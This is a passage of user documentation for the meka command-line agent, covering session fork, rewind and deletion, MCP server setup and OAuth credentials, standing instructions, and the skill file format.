The import preserves the full conversation, per-message timestamps, cumulative stats, scratchpad entries, and the name of the provider profile the session ran on. That name is all an archive carries about the provider: the settings themselves come from whatever [providers.<name>] says on the installation importing it. An archive that names no profile adopts this installation’s default instead; repin it with --provider if it ran somewhere else. If nothing can supply one, because no default_provider is set and several profiles are configured, the import is refused rather than restoring a session that cannot run: set a default with meka provider use <name>, or name one for the import with meka --provider <name> session import.
updated_at is stamped to the import time rather than restored from the export, so that restoring an archive older than a configured retention_days window isn’t undone by the retention sweep on the next launch. created_at still carries the original.
Forking a Session
Branch off an existing conversation without disturbing it:
meka session fork 550e8400-e29b-41d4-a716-446655440000
The copy starts with the original’s full conversation and continues from there under a new UUID, which is printed on stdout so it can be captured:
meka -r "$(meka session fork 550e8400-e29b-41d4-a716-446655440000)"
Use it to try a different direction from a known-good point, to run a throwaway question against a large accumulated context, or to keep a conversation you’re about to compact.
What the copy carries: the full event log, scratchpad entries, working directory, permission level, additional workspace roots, and cumulative stats. What it does not: sub-agent child transcripts (the sub-agent’s result already sits in the parent conversation as a tool result, so the copy is complete without them), and the timestamps, which are stamped fresh.
A fork of an ordinary session records no link back to the one it came from; it is a top-level
session like any other. A fork of a sub-agent is the exception: it keeps that worker’s parent and
spawn terms, so the copy is a sibling under the same parent rather than a promotion to a session of
its own, and it is continued through agent_followup like any other worker.
Forking copies what has been committed to the database, so forking a session with a turn in flight can capture that turn partially: the user message is persisted before the model is called, and each assistant round lands together with its tool results as it completes. The copy may therefore end mid-turn, with a user message that has no reply yet, or an assistant round that was not the last. Because each round and its tool results are written as one unit, the copy is never internally inconsistent, just short. Fork between turns if you want an exact copy.
The same operation is available from the REPL as /fork, which switches you into the copy and leaves the original where you branched; over HTTP as POST /v1/sessions/{id}/fork; and over ACP as session/fork.
Fork or export/import?
Both produce a runnable copy under a new ID. Reach for fork to branch a conversation you’re working on, and for export + import to move a session between machines or keep an archive. Export/import also copies sub-agent transcripts and preserves created_at, because an archive should restore whole.
Rewinding a Session
Drop the most recent turns from a session:
meka session rewind 550e8400-e29b-41d4-a716-446655440000
meka session rewind 550e8400-e29b-41d4-a716-446655440000 -n 3
The cut lands on a turn boundary, so a tool call is never separated from its result, and nothing is deleted: the dropped turns stay in the event log and still appear in meka session export, marked at the point of the rewind. The model simply stops seeing them.
The command takes the session lock, so it refuses to run while a REPL, meka serve, or meka acp holds the session; that process has its own copy of the conversation in memory and would write over the rewind on its next turn. In the REPL use /rewind instead. Under ACP or the HTTP API there is no in-session equivalent, so close the session in the editor (or stop the server) and run this command.
Its main use is recovering a session a provider has started refusing. A provider validates the whole conversation on every request, so one piece of content it rejects fails every later turn too.
meka repairs a rejection caused by content added since the last request the provider accepted, and repairs a mislabelled image on resume, but anything older than that needs rewinding past. That window is usually the current turn, and it reaches back into the previous one when a turn failed mid-tool-loop and left it unaccepted. A compaction widens it to the whole conversation, because a compaction replaces that conversation wholesale and nothing in the result has been accepted yet. The repair escalates: first it removes the attachments the turn added and leaves everything else alone, and only if that is refused as well does it empty the turn’s tool calls, moving each call’s arguments into the result that reports it and replacing the result’s body with an explanation. The second step exists because a tool result is usually text, which the first step cannot touch, and because a call’s own arguments can be what the provider objected to. A step the provider then accepts is not counted as spent, so the cheap one stays available if the turn is refused again later.
Neither step changes the shape of the conversation: a tool call stays a tool call and its result stays its result, marked as an error. That is deliberate. Removing one half of a pair is the one thing every provider refuses outright, so a repair that could do it might turn a recoverable rejection into a permanent one. The model sees a failed tool call, which it already knows how to read, with the arguments it sent quoted in the failure so it can tell which call not to repeat.
Nothing a repair removes is deleted. The log is append-only, so the superseded messages stay on disk and meka session export renders them above a marker saying what replaced them. Use --format json to get a removed attachment back: the markdown export writes each message as its text and leaves image blocks out. Only the conversation the model sees is changed.
Whatever is removed is restored untouched if the retry carrying it is refused too. That restore is what bounds the risk, and it bounds it only in that direction: each step spends a fresh retry sequence rather than a single request, and a step whose retry succeeds keeps the loss, so the trigger is deliberately narrow. The words you typed are never rewritten by either step, though an image you attached to that prompt is exactly what the first one removes, replacing it with a note. Notes meka inserts into a conversation are prefixed [meka harness].
Both steps run whether the provider answered 400 or spent every retry on a 5xx. A gateway in front of a model reports a payload its own decoder choked on as a server error, which is indistinguishable from being overloaded, so meka honours the retries in full and treats a refusal that outlives them as one the content may explain.
On the 5xx path it does one thing more before touching anything. The retry sequence is short by design (two attempts across three seconds of backoff), which an ordinary overload outlasts, so meka waits eight seconds and sends the same request one last time. If that succeeds the outage was the whole story and nothing is lost; if it fails too, the reading that the body is the problem has been earned rather than assumed. The wait is paid only by a turn that was otherwise about to start deleting things, and only once per run of consecutive failures: a request the provider accepts makes it available again, since a later refusal is about work the earlier wait never saw. A 400 skips it, because the provider has already read the body and said no.
Nothing outside those two shapes degrades at all, because a degraded retry that succeeds only because the network came back would keep the loss. Excluded, then: a dropped connection, which never delivered the request for anything to judge; a 429, which is a statement about rate rather than about what was sent; a failure that arrives partway through a stream, after some of the answer has reached you, both because re-sending would print it twice and because the stream cannot tell an overload from anything else; and anything at all once the retries have not been exhausted. If a step it did try does not help, it says so and points here before the turn fails.
One cause of that refusal has its own fix. A session recorded by 0.41 can hold a tool_result whose content is a bare JSON string, a shape meka does not read: the row is dropped as the session loads, which leaves the tool_use it answered unanswered, and the provider rejects the next turn over the mismatch. Run the one-shot upgrade script, which converts those rows in place, rather than rewinding past a turn you wanted to keep.
Deleting Sessions
Delete specific sessions by UUID:
meka session delete 550e8400-e29b-41d4-a716-446655440000
Delete multiple sessions at once:
meka session delete 550e8400-e29b-41d4-a716-446655440000 a1b2c3d4-e5f6-7890-abcd-ef1234567890
Delete every session not updated in the last N days:
meka session delete --older-than-days 90
This is the manual counterpart to retention_days. It can’t be combined with UUIDs or --all, and 0 is refused: it would match everything.
Delete all sessions:
meka session delete --all
--all takes no ids of its own: naming some sessions and then asking for every session are two
different requests, and it refuses rather than quietly doing the wider one.
Input History
Separate from your saved conversations, meka keeps a rolling history of the prompts you type at the REPL, so Up-arrow recall and Ctrl+R reverse-search work across runs (shell-style). This is distinct from a session (a stored conversation) and from the /history slash command (which reprints the current conversation).
List recent input-history entries (oldest first; -n 0 shows all):
meka history list
meka history list -n 100
Clear it entirely:
meka history clear
Managing Sessions via SQLite
You can also manage sessions directly through the SQLite database. For example, to list all sessions:
sqlite3 ~/.local/share/meka/meka.db \
"SELECT id, created_at, updated_at FROM sessions ORDER BY updated_at DESC;"
MCP
The Model Context Protocol is how meka reaches tools, resources and prompts it does not implement itself. A server is a process meka spawns or an HTTP endpoint it connects to; what it advertises is registered alongside the built-in tools and called the same way.
This page covers running servers: the command suite, where their secrets live, what happens on the wire, and what the agent can reach. The keys themselves are in the config file reference, which is also where tool permissions are resolved.
meka mcp CLI
Manage configured servers without editing config.toml by hand:
| Command | Action |
|---|---|
meka mcp list | Print all configured servers, plus any stored OAuth credential that no server claims (see Leftover credentials). |
meka mcp get <name> | Print full details for one server. |
meka mcp add <name> <url-or-command> [args...] [flags] | Persist a server. Transport is auto-detected: a URL starting with http[s]:// means HTTP, anything else means stdio. Preserves existing formatting/comments via toml_edit. |
meka mcp remove <name> | Best-effort revoke stored OAuth tokens (RFC 7009) at the provider, then delete the server entry, clear stored credentials, and drop any resource-update ledger entries. A name with stored credentials but no config entry is cleaned rather than refused. |
meka mcp disable <name> | Set disabled = true on the server entry. The next meka start skips it entirely. |
meka mcp enable <name> | Clear the disabled flag, so the server connects on the next start. |
meka mcp reconnect <name> | Smoke-test a connect; prints ok or the error. |
meka mcp tools <name> | Connect and list every advertised tool with its resolved permission, the chain step that decided it, and whether the current config allows it. Useful for populating --allow-tool, --disable-tool, or --tool-permission overrides without leaving the CLI. |
meka mcp login <name> | Drive interactive OAuth. If the server has no [auth] block and uses HTTP, assumes type = "oauth" and persists the block on success. With --auth-token-stdin or --client-secret-stdin, stores that secret and exits instead, which is also how you rotate one. |
meka mcp logout <name> | Call the provider’s revocation_endpoint (RFC 7009) best-effort, then clear every stored credential for the server. |
Credentials
An MCP server’s bearer token, OAuth client secret and OAuth token bundle are stored in meka’s database (mcp_credentials, keyed by server name and kind), never in config.toml. This is the same rule providers follow, and for the same reason: config.toml is a plaintext file people commit, sync and share.
Each is read from stdin so it never reaches ps output or your shell history. One command reads one secret, so --auth-token-stdin and --client-secret-stdin cannot be combined:
$ pass show notion-token | meka mcp add notion https://mcp.notion.com/mcp --auth-token-stdin
$ pass show acme-secret | meka mcp login acme --client-secret-stdin
A confidential OAuth client holds two at once: the long-lived client secret it authenticates with, and the refreshable bundle it obtained. Store the secret first, then run meka mcp login <name> to complete the flow. Refreshing the bundle leaves the client secret alone.
meka mcp get <name> lists which kinds a server has, without printing any of them, and shows the origin an OAuth bundle was issued for as issued for: <scheme>://<host>[:port]. That flags the case a rotated url leaves behind: a bundle minted against the old host is still stored and still sent, so the line names a mismatch rather than letting the next call fail as a bare 401. meka mcp list names servers that have a stored credential but no [[mcp.servers]] entry, which is what a hand-edited config strands.
meka mcp add flags
| Flag | Purpose |
|---|---|
--transport <stdio|http> | Override the auto-detected transport. |
--env KEY=VALUE | Environment variable for stdio (repeatable). |
--header KEY=VALUE | HTTP header (repeatable). |
--auth <oauth|client-credentials|client-credentials-jwt> | Configure the [auth] block. |
--auth-token-stdin | Read a static bearer token from stdin and store it. Mutually exclusive with --auth. |
--client-secret-stdin | Read an OAuth client secret from stdin and store it. Required by --auth client-credentials. |
--client-id | OAuth / client-credentials client identifier. Not a secret, so it goes in config.toml. |
--signing-key <PATH>, --signing-algorithm <ALG> | JWT signing material (client-credentials-jwt only). |
--scope <SCOPE> | OAuth scope (repeatable). |
--redirect-port <PORT> | Fixed OAuth redirect port (default: ephemeral). |
--permission <none|read|workspace|ask|unrestricted> | Per-server permission cap (applies to all tools on the server). |
--allow-tool <NAME> | Raw tool name to allow (repeatable). When set, only listed tools register. |
--disable-tool <NAME> | Raw tool name to block (repeatable). Applied after --allow-tool. |
--eager-load-tool <NAME> | Raw tool name to eager-load (repeatable). Listed tools skip the load_tool round-trip and ship in the cacheable tools-array prefix from turn 1. |
--tool-permission <NAME=LEVEL> | Per-tool permission override (repeatable). LEVEL is none/read/workspace/ask/unrestricted. |
--required | Persist required = true, so a turn is rejected while this server isn’t connected. Omitted, the server inherits [mcp].strict and is optional by default. |
--disabled | Persist disabled = true, so the server is skipped entirely at startup. Re-enable with meka mcp enable <name>. |
Example: Notion
These signposts are info logs, so they need -v; at the default warn level the command
succeeds silently and the exit code carries the result. Timestamps and targets are elided here.
$ meka -v mcp add notion https://mcp.notion.com/mcp
added 'notion' to ~/.config/meka/config.toml
probe: 'notion' requires OAuth
running OAuth authorization for 'notion' (use --no-login to skip)
no [auth] block for 'notion'; assuming OAuth authorization_code
…
authorized 'notion'
meka mcp add on an HTTP endpoint:
-
Probe: issues an unauthenticated
GET(3 s timeout, redirects off) and classifies the response per the MCP authorization spec + RFC 6750 + RFC 9728:2xx→ server is open, no login needed.401/403withWWW-Authenticate: Bearer …→ OAuth required. Theresource_metadata="…"attribute (RFC 9728) is captured at DEBUG.- Any other status → couldn’t infer, prints the status code.
- Network failure → prints the error.
-
Auto-login: if the probe says OAuth is required (or
--auth oauthwas explicitly set), the OAuth authorization_code flow runs immediately as though the user had chainedmeka mcp login <name>themselves. The synthesised[auth] = oauthblock is written back toconfig.tomlon success. -
Rollback on failure: if the OAuth flow errors out, the entry we just wrote is purged from
config.toml(alongside any partial credentials), leaving the user’s config clean. The command exits non-zero. -
--no-login: skips step 2. The entry is still persisted and the probe’s hint is still printed; runmeka mcp login <name>when ready. Useful for scripted setup or when you expect to edit[auth]by hand.
The probe and the auto-login only run for HTTP servers, and only when the user didn’t provide --auth-token-stdin (static bearer) or --auth (other than oauth). Stdio servers skip both.
Remote hosts / SSH sessions
The OAuth flow redirects the browser to http://127.0.0.1:<port>/callback. When meka is running on a different host than the browser (SSH session, container, Codespace, WSL), the browser can’t reach back and shows a “connection refused” error page. meka handles this automatically:
- While
meka mcp login <name>waits for the callback it also watches stdin. - The browser’s address bar still contains the full callback URL (including
codeandstate) even when the connection fails. Copy it, paste it into the meka prompt, and press Enter. - Whichever completes first, the TCP callback or the pasted URL, wins.
meka opens the browser silently and prints the URL exactly once, so the flow works the same whether
or not a browser is reachable. The authorized line is an info log, shown here with -v.
$ meka -v mcp login notion
open this URL in your browser to authorize:
https://mcp.notion.com/authorize?response_type=code&…
waiting up to 120s for the callback, or paste the callback URL here and press Enter:
http://127.0.0.1:46437/callback?code=…&state=… ← paste here
authorized 'notion'
REPL parity
Inside the REPL:
/mcp list: list configured servers./mcp reconnect <server>: reconnect smoke-test./mcp login <server>//mcp logout <server>: run the auth flow or revoke./mcp <server>:<prompt> [args...]: render a server-defined prompt as the next user turn.
Resources and prompts
In addition to tools, meka exposes MCP resources and prompts through several builtin tools (deferred: the agent calls load_tool first to fetch the schema, then invokes them):
| Builtin | Purpose |
|---|---|
mcp_resource_list | List resources from one or every configured server. |
mcp_resource_read | Read a resource by server + uri; text inline, binary base64-encoded. |
mcp_prompt_list | List prompts from one or every configured server, including their declared arguments. |
mcp_prompt_get | Render a prompt by server + name with optional arguments; returns <role>: <text> lines. |
mcp_resource_subscribe | Subscribe to resources/updated notifications for a specific URI. |
mcp_resource_unsubscribe | Cancel a prior subscription. |
mcp_resource_updates_list | Print every resource that has been reported as updated since the session started. |
Startup concurrency
MCP servers connect in parallel at startup, partitioned by transport so a fleet of stdio servers (process-spawn bound) doesn’t fight a fleet of HTTP servers (network bound):
- stdio:
MEKA_MCP_STDIO_CONCURRENCY(default3) - http:
MEKA_MCP_HTTP_CONCURRENCY(default20)
These env vars are tuning knobs: rarely needed, but useful if you’re running ~30 stdio servers on a constrained box (lower it) or ~50 HTTP servers (raise it).
Connection lifecycle
- Reconnection is automatic for all transports (stdio, plain HTTP, OAuth-authenticated HTTP) when the transport closes mid-session. HTTP transports use exponential backoff (1s, 2s, 4s, 8s, 16s, capped 30s, max 5 attempts); stdio gets one immediate retry. The reconnect runs on a blocking thread to work around an upstream rmcp bug where the auth future is
!Send. - Failed initial connect is retried in the background with its own backoff (5s doubling to a 5 minute ceiling) until the server comes up, and the server’s tools are registered into every live session when it does. A server that is slow to boot, or that starts after meka, therefore recovers on its own rather than staying
failedfor the life of the process. This matters most for arequiredserver, where every turn is rejected until it connects. - Session-expired recovery: rmcp transparently re-initialises HTTP sessions on 404 / JSON-RPC
-32001. meka relies on this; no per-call handling is required. - Cancellation: when the agent cancels a tool call (e.g. Ctrl-C), meka sends
notifications/cancelledto the server with the in-flight request id so the server can stop work. - Timeouts: tool calls default to 600 s; override with
MEKA_MCP_TOOL_TIMEOUTin ms. - Tool list refresh: on
tools/list_changed, meka re-discovers the server’s tools and hot-swaps them in the registry; no restart needed. - Progress notifications: MCP tool calls attach a per-request
progressToken; incomingnotifications/progressrender as a live status line under the tool invocation. - Call identity:
tools/callcarries two extra keys in_metaalongside the progress token.meka/sessionIdis the UUID of the session the call came from, letting a server scope per-session state (a cache, a workspace, an audit trail) to one conversation; a sub-agent reports its own child session id.meka/toolUseIdis the provider’s tool-use id for the call. Both are absent for calls made outside a session, such as connection-time handshakes. - Server instructions:
InitializeResult.instructionsis captured once per connection and delivered in the per-turn context (sanitised + truncated to 2048 chars) under[MCP server instructions]. A server that connects late, or reconnects with different instructions, is announced as a change rather than rewriting anything already sent. - stdio server logs: a stdio server’s own stderr (many servers log there) is captured, not inherited, so it never corrupts the REPL display. Each line is re-emitted on meka’s
tracingstream atdebuglevel tagged with the server name, so it stays silent at default verbosity and surfaces under-v/RUST_LOG. resources/list_changed,prompts/list_changed, andresources/updatednotifications are logged atinfo/debuglevel.
Server-to-client features
| Feature | meka behaviour |
|---|---|
elicitation/create | Routed to the calling session’s frontend (REPL / ACP form or URL prompt) with a 60s timeout. Auto-declines when no in-flight tool call’s frontend is registered or the user doesn’t answer in time. |
Instructions
Standing instructions are your own guidance to the agent, applied to every session on this machine. They land in the system prompt under a ## User Instructions heading, and the model is told to treat them as hard constraints unless they conflict with safety requirements.
Use them for things that are true of your setup rather than of any one task:
- System policies: “Never install Python packages globally with pip. Always use
uvor a venv.” - Installed tooling worth knowing about: “Poppler is available; use
pdftotextfor PDFs.” - Workflow preferences: “Prefer ripgrep over grep.”
- Compliance rules: “Git commits on this system must be gpg-signed.”
Where they live
Instructions are content, not configuration, so they live at a conventional path beside config.toml rather than behind a key inside it. Write:
~/.config/meka/instructions.md
If the set grows, split it into a directory instead. Every *.md file is concatenated in lexical order, so a numeric prefix controls the sequence:
~/.config/meka/instructions/
├── 00-style.md
├── 10-security.md
└── 20-tooling.md
The directory wins when it has content, so splitting a grown instructions.md is a rename rather than a migration. An empty instructions/ falls back to the file rather than blanking your instructions. Under a custom MEKA_CONFIG_DIR, both paths follow it.
Check what is actually in effect at any time:
meka instructions show # the resolved text, plus where it came from
meka instructions path # the paths meka checks, and whether each exists
show prints the text on stdout and the source on stderr, so meka instructions show 2>/dev/null pipes cleanly.
Passing them as a string
A file is the right shape on a workstation, but not everywhere. When the channel carrying the value is a string rather than a filesystem, use one of:
| Source | Form | |
|---|---|---|
--instructions | text | per-run, wins over everything |
MEKA_INSTRUCTIONS | text | |
MEKA_INSTRUCTIONS_FILE | path | |
instructions.md / instructions/ | file | the default |
Resolution stops at the first one set, in that order.
This matters most for containers. The mekabox wrapper mounts your config directory into the container read-only and then replaces the instructions with container-specific ones, which is a single -e MEKA_INSTRUCTIONS=…. Requiring a path would mean writing a temp file on the host and bind-mounting it, and the read-only mount means it could not simply write the file where meka looks.
MEKA_INSTRUCTIONS_FILE covers the case where a file exists but you do not control where it is mounted, such as a Kubernetes ConfigMap or a Docker secret. It accepts a directory too, since a ConfigMap mounts as a directory of keys, and in that case takes any regular file rather than only *.md: a ConfigMap key is often just instructions, and a naming choice made in someone else’s YAML should not become a startup failure inside a pod.
Setting MEKA_INSTRUCTIONS= to the empty string means “no instructions”, suppressing the file rather than falling through to it. That is the way to run a container with your host instructions mounted but not applied.
Setting both environment variables is refused at startup. There is no reading under which someone meant both, so resolving one silently would hide the mistake until the agent behaved unexpectedly.
When they are read
Once, at startup. Editing takes effect on the next launch, not mid-session.
That is deliberate, and it follows from size. The system prompt heads the prompt-cache prefix, so a large instruction set is billed once and served from cache on every later turn. Re-reading it per turn would either invalidate that prefix whenever the file changed, or push the text down into the conversation where it would compete with actual context.
This is the opposite of skills and memory, which do refresh mid-session. They can afford to: both are indexed rather than included in full, and the index is small.
meka -c makes restarting cheap when you do edit them.
Notes
- Empty or whitespace-only instructions are treated as unset.
- Sub-agents do not receive them by default. Instructions describe the top-level agent, and a worker handed one task by one of its turns is not that agent; inheriting the persona is how a sub-agent ends up addressing the user as though it were the one they are talking to. The agent can pass
instructions: "inherit"toagent_spawnwhen a task genuinely needs the project’s standing rules, or pass a skill when the direction is reusable. - They apply at every permission level, including
none, because you wrote them. - A set larger than roughly 8k tokens logs a warning at startup. It still works, and it is cached, but it occupies that much of every request’s window and is usually a surprise rather than a decision.
- An unreadable file in a directory is skipped with a warning rather than hiding the rest of it. A path you named explicitly via
MEKA_INSTRUCTIONS_FILEis an error instead, since running without guidance you believe you supplied is worse than not starting. - A directory contributes at most 100 files; past that it is far more likely pointed somewhere unintended than intentional, so the rest are skipped with a warning.
Skills
Skills are knowledge packages that give the agent non-standard knowledge: manuals, procedures, tool-specific instructions, and experience the LLM doesn’t have natively. Each skill is a directory containing a SKILL.md file with structured metadata.
meka implements the Agent Skills specification, so a skill written for meka works in other compliant clients and vice versa, and a skill meka writes passes the ecosystem’s own skills-ref validate.
Skills are normally authored by you. An agent can also be allowed to write its own; see Letting the Agent Manage Skills, which is off by default.
How Skills Work
- Skills live in
~/.config/meka/skills/(platform-specific config dir). Additional read-only directories can be added withextra_paths. - Each skill is a directory:
skills/<name>/SKILL.md. A lowercaseskill.mdis accepted too. - Any entry whose name begins with
.is skipped at discovery. This covers VCS metadata (.git), editor/IDE state (.vscode,.idea), filesystem artifacts (.DS_Store,.Trash), and any other dotfile or dotdir that may sit alongside your skills. SKILL.mdstarts with a YAML frontmatter block declaring the skill’s metadata, followed by Markdown body content.- On every prompt, meka discovers all valid skills and lists them in the per-turn context with their
description. - The agent invokes a skill by calling the
skill_readtool with the skill name. The tool returns the full body, which the agent follows. skill_searchgreps the full text of every installed skill, for when the one-line descriptions are not enough to tell which skill covers something.- Skills are available in read, workspace, ask and unrestricted modes (not in none).
- The whole subsystem can be switched off with
[skills] enabled = false, which keeps the skill tools’ schemas out of every request and stops the skills section from rendering.
File Format
A skill is a directory under ~/.config/meka/skills/ containing a SKILL.md file:
~/.config/meka/skills/
└── download-videos/
└── SKILL.md
SKILL.md must begin with a YAML frontmatter block, followed by the skill body:
---
name: download-videos
description: Download videos from various websites using yt-dlp. Use when the user wants a video off a URL.
metadata:
author: John Doe <john.doe@example.com>
version: "1.0"
---
# Download Videos with yt-dlp
## Installation
Install yt-dlp:
\```bash
pip install yt-dlp
\```
## Basic Usage
Download a video:
\```bash
yt-dlp "https://example.com/video"
\```
Required Frontmatter Fields
| Field | Constraints |
|---|---|
name | 1-64 characters, lowercase alphanumerics and hyphens; no leading, trailing or consecutive hyphens. Must match the directory name. “Alphanumeric” is Unicode-wide, as the spec and its reference validator define it, so a non-Latin name is valid. |
description | 1-1024 characters. What the skill does and when to invoke it. Shown to the model in the per-turn context, so fold the trigger condition into this one line. |
A skill is skipped, and the reason reported, when it breaks a rule the spec states about its identity: a directory name outside the rules above, a name that disagrees with its directory, or a missing description. meka implements the Agent Skills specification, so a directory it cannot read as a conforming skill is not a skill it has, and saying so beats listing something no other client would accept.
A skip is not silent. It appears in the [Skills] index the agent reads, in skill_read, in meka skill get, and in a warning on startup, each naming the directory and the reason. The directory stays where it is, so renaming it is all that is needed.
Everything else loads: an over-long description (warned, since refusing would take the procedure with it), and frontmatter keys the spec does not define.
A name containing characters meka cannot render – a newline, a zero-width space – is refused by the same rule, and additionally cannot be reached by meka skill remove: the name meka would echo back is a different directory, which may itself exist. Rename it in a shell.
Keys meka does not model are kept, not dropped. A skill carrying Claude Code’s when_to_use, or a source_url naming where it was fetched from, still has them after an agent edits its description.
Frontmatter that is not valid YAML is not repaired. The client guide suggests quoting unquoted prose colons (description: Extract text. Use when: the user mentions PDFs) as a fallback, and meka deliberately does not: the reference implementation does no repair either, one repair rule is an arbitrary pick out of the many ways YAML can be malformed, and a file meka silently fixed on the way in is one that keeps working here and nowhere else. The skill is skipped instead, and said so out loud with the parser’s own line and column. Fix the file once and every client can read it.
Optional Frontmatter Fields
| Field | Description |
|---|---|
license | The skill’s license, as a name or a reference to a bundled file. Informational. |
compatibility | Up to 500 characters naming what the skill needs from its environment (Requires Python 3.14+ and uv). Shown to the model when the skill is activated, since it changes how the instructions should be carried out. |
allowed-tools | Tools the skill would like pre-approved. meka reads and preserves this but never acts on it; see Why allowed-tools Is Ignored. Written as a space-separated string; a YAML list or a bare number is read too, rather than costing you the skill. |
metadata | A map of extra properties. Where anything the spec has no field for belongs. |
Metadata Keys
The spec reserves metadata for properties it does not define, and meka carries the whole map through untouched, including keys it has no meaning for, so a skill written elsewhere survives being edited here.
That includes values that are not strings. The spec describes a map of string to string, but skills in the wild carry lists and nested maps under metadata, and an edit here keeps them as they were:
metadata:
tags: [pdf, forms] # still a list after an agent rewrites the description
origin:
repo: example/skills # still a map
meka renders such a value as text where it needs one (meka skill list, meka skill get), but the file keeps the original.
metadata itself must be a map, though. A skill whose metadata: is a string or a list still loads, lists and reads normally, but rewriting it is refused: meka would have nowhere spec-legal to record meka-priority or author, and doing something other than what the caller asked without saying so is worse than declining. Fix the file, or write to a different name.
| Key | Default | Description |
|---|---|---|
author | none | Attribution, conventionally Name <email>. The spec’s own example key. Informational only. |
version | none | Free-form version label (e.g. "1.0", "2024-03-14"). The spec’s own example key. |
meka-priority | 5 | Listing rank 0-9, lower first. Orders the [Skills] index and decides which skills its cap drops. Not shown to the model; see How the Agent Uses Skills. |
meka-priority carries a prefix because it is meka’s own concept and the spec has nothing like it; another client could reasonably read a bare priority the opposite way round. author and version do not, because the spec demonstrates exactly those keys.
Frontmatter Written Before the Spec
A SKILL.md written before meka followed the spec carries author, version and priority at the top level of the frontmatter, where the spec has no place for them. The one-shot upgrade script moves all three under metadata:, and the three are not equally optional:
authorandversionkeep their names, and meka reads either spelling permanently (see below), so moving them changes nothing but tidiness.priorityis renamed tomeka-priorityas it moves, because that is the key a rank is read from and there is no other. A top-levelpriority:left where it is, or hand-moved undermetadata:under its own name, is a key nothing reads: the skill takes the default rank of 5, the[Skills]index comes out in a different order, its cap drops different skills, and nothing says so. This is the part of the move that has to happen.
meka does not rewrite a file it is only reading, so a skill it never writes to keeps the frontmatter you gave it until the script runs.
Reading a top-level author or version is permanent, not a transition. Claude Code’s plugin skills declare version at the top level, and the skill that documents skill authoring tells authors to put it there, so a reader that looked only under metadata: would print a dash for a version the file plainly states. meka reads both spellings and writes only the spec’s, which is what lets the move be a script you run once rather than something the binary does to your files behind your back.
Why allowed-tools Is Ignored
allowed-tools is experimental in the spec, and the spec itself notes that support varies. meka parses it, preserves it across a rewrite, and shows it in meka skill get, but never grants anything from it. The spec defines the field as a space-separated string and that is what meka writes, so a skill that spelled it as a YAML list comes back joined: [Read, Bash] becomes Read Bash.
Two things meka does not preserve across a rewrite, both worth knowing before you hand-edit a SKILL.md that meka will later write to:
- A joined
allowed-toolsentry containing a space cannot be told apart from two entries.["Bash(git diff:*)", "Read"]comes back asBash(git diff:*) Read, which no longer says where one entry ends. Prefer the spec’s string form for these. - Comments in the frontmatter block are dropped. The header is rebuilt through a YAML serializer, which does not carry them. Keys, values and nested structure all survive;
# notesbeside them do not. Put anything you need to keep in the body, which is passed through untouched.
A skill file is content, and content does not get to widen what the agent may run. meka’s permission mode is the authority for that, and a SKILL.md dropped into the skills directory (or synced from a repository, or written by an agent) must not be able to pre-approve Bash(rm:*) on its own say-so.
Referencing Bundled Files
Refer to files bundled alongside SKILL.md by relative path (e.g. scripts/helper.sh). Every skill body is prefixed with a header naming the skill’s directory (see How the Agent Uses Skills), so relative paths resolve against the skill rather than against the session’s working directory.
The body is passed to the model verbatim; meka does not rewrite anything inside it. Keeping skills free of host-specific placeholders is what lets the same SKILL.md run under meka and other Agent Skills hosts unchanged.
Storage Location
| Platform | Path |
|---|---|
| Linux | ~/.config/meka/skills/<name>/SKILL.md ($XDG_CONFIG_HOME/meka/skills/) |
| macOS | ~/Library/Application Support/meka/skills/<name>/SKILL.md |
| Windows | %APPDATA%\meka\skills\<name>\SKILL.md |
This is the only directory meka ever writes to. It is created the first time something is written there, not at startup.
Reading Skills from Other Directories
[skills] extra_paths adds directories to scan. They are read-only: meka never creates them and never writes into them, so listing one costs nothing if it does not exist.
[skills]
extra_paths = ["~/.agents/skills", "~/src/team-skills/skills"]
~ is expanded. A relative path resolves against the process working directory.
The default is empty. ~/.agents/skills has emerged as a cross-client convention, so pointing at it makes skills installed by other Agent Skills clients visible to meka, but whether to read a directory outside meka’s own namespace is your decision rather than a default.
Precedence. meka’s own store is searched first, then each extra_paths entry in order. When two directories hold the same skill name, the first wins and the shadowed one is logged.
Writes never follow. skill_write, skill_delete, meka skill add, meka skill remove, PUT /v1/skills/{name} and DELETE /v1/skills/{name} all target meka’s own store. Asked to write a name that resolves to a skill in a read-only root, they refuse and say where it lives, because writing would create a second copy that shadows the original instead of changing it. Edit that file directly, or pick a different name. This holds whether or not the file there is valid: a directory whose SKILL.md does not parse still claims that name, and shadowing a broken skill is the case worth refusing hardest, since nothing then reports the original at all.
There is deliberately no automatic project-level scan. meka does not treat the working directory as trusted anywhere else either, and a cloned repository that could silently add instructions to the agent’s context would be exactly that. Name a project’s skills directory in extra_paths if you want it read.
Listing Skills
meka skill list shows a fixed set of columns, so output stays parseable when piped:
$ meka skill list
Name Author Pri External Description
deploy-service Jane Doe 2 false How to deploy the service. Use when the…
borrowed - 5 true A skill another client installed.
External is true for a skill found under extra_paths rather than in meka’s own store. It is always present, even when nothing is external, so a script’s field offsets do not shift with the store’s contents.
--paths adds the on-disk Path, which is how you find out where an external skill lives. Nothing else goes in this table: license, compatibility, allowed-tools, version and arbitrary metadata keys are per-skill detail, and meka skill get <name> prints all of them.
How the Agent Uses Skills
When skills are available, the per-turn context includes a [Skills] section like:
[Skills]
- **download-videos**: Download videos from various websites using yt-dlp. Use when the user wants a video off a URL.
- **deploy-kubernetes**: Deploy services to a K8s cluster. Use when the user asks to deploy to Kubernetes.
The list is sent once, not on every turn. Adding, editing, or removing a skill mid-session is picked up on the next prompt and announced as a short note naming just what changed, so a long session doesn’t pay for the whole list repeatedly.
A skill directory that could not be loaded is named there too, with the reason:
1 directory in your skills path could not be loaded, so it is not in the index above and cannot be invoked:
- **deploy-kubernetes**: invalid frontmatter: mapping values are not allowed here
This is the counterpart to the same paragraph in [Memory], and it exists because the log is not a channel the agent can read. From inside a session an unparseable SKILL.md is otherwise indistinguishable from a skill nobody wrote: the index omits it, so the agent has no reason to ask for it by name, and whoever dropped the file in goes on believing the procedure is in force. Naming it lets the agent tell you rather than improvise a replacement. It appears and disappears with the file, so repairing the frontmatter is announced too.
Skills are listed in meka-priority order, lowest first, with the name breaking ties. The index is capped at 200 entries and 8 KiB; anything past that is replaced by a count and a pointer to skill_search, so a large skill store degrades into “search me” rather than silently eating the context window. The rank itself is not rendered: a skill should be invoked because the request matches its stated purpose, not because it outranks another one.
The agent loads a skill by calling the skill_read tool:
skill_read(name: "download-videos")
The tool returns the full body of SKILL.md as its output. The agent then follows the instructions.
Whenever a skill body is loaded (by the skill_read tool, --skill, /skill, agent_spawn, or meka skill show), it is prefixed with a header naming the skill’s directory:
